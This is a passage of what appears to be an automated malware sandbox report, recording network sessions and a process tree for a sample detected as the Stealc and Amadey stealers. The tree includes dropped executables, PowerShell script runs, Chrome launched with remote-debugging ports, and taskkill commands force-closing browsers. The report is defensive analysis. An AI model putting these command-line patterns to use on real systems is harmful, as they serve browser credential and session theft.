2024-11-24 01:15:01 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:15:00 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:15:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:15:01 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: abaff5aa-901e-0064-6d47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011501Z-178bfbc474bwlrhlhC1NYCy3kg00000005c0000000000386 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:15:01 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:15:01 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:15:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:15:01 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: f3f6636c-f01e-003c-1d76-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011501Z-174c587ffdfb5q56hC1TEB04kg00000003h000000000rbyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:15:01 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:15:02 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:15:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:15:02 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: cd483c2e-401e-0048-1149-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011502Z-15b8b599d8885prmhC1TEBsnkw00000003tg00000000dfmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:15:02 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	20:12:57
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x200000
File size:	1'794'560 bytes
MD5 hash:	F5634FE84A0D50DA553341DD8B70F55B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2127237618.0000000000201000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2128255409.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1691787671.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:13:07
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:13:09
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2188,i,13522947928336970555,3590164361455550880,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:13:39
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:13:39
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x730000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:13:39
Start date:	23/11/2024
Path:	C:\Users\user\DocumentsJKEGIDGDGH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJKEGIDGDGH.exe"
Imagebase:	0x3d0000
File size:	1'884'672 bytes
MD5 hash:	6D76634E0D5A3748DBB40ED91D91480A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2167459795.00000000003D1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2126808040.0000000004900000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:13:43
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x300000
File size:	1'884'672 bytes
MD5 hash:	6D76634E0D5A3748DBB40ED91D91480A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2178949689.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:13:43
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x300000
File size:	1'884'672 bytes
MD5 hash:	6D76634E0D5A3748DBB40ED91D91480A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2221067323.0000000000301000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2179088496.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:14:02
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe"
Imagebase:	0xdd0000
File size:	4'380'672 bytes
MD5 hash:	CE1C81D721906475FC878EBD26D09AD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	20:14:12
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:14:12
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:14:15
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008570041\gok44.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:14:15
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:14:20
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008571041\aZhXvFT.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:14:20
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:14:24
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008572041\vtF7qZo.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:14:24
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:14:29
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008573041\6OMLg7r.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	20:14:29
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:14:34
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008574041\DcDqduU.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:14:34
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:14:36
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	20:14:37
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2336,i,17663330087063727705,18440200283134138294,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	20:14:42
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe"
Imagebase:	0x360000
File size:	1'891'328 bytes
MD5 hash:	89A84EB8A83E3072365849AF60F40DCC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2815937143.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2950124279.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2882349545.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2882349545.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2846086250.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2929836310.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	20:14:51
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe"
Imagebase:	0x1d0000
File size:	1'794'560 bytes
MD5 hash:	F5634FE84A0D50DA553341DD8B70F55B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2908507137.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2839662305.0000000005040000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2892004269.00000000001D1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	20:14:56
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe"
Imagebase:	0x360000
File size:	1'891'328 bytes
MD5 hash:	89A84EB8A83E3072365849AF60F40DCC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3199847114.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3192541173.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3200161443.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	20:14:58
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe"
Imagebase:	0x4b0000
File size:	921'600 bytes
MD5 hash:	163C161C40D81ABCF7762B5FE1E069F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000001F.00000003.2895024923.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 26%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	20:14:58
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	20:14:58
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	20:15:01
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	20:15:01
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	20:15:01
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	20:15:01
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
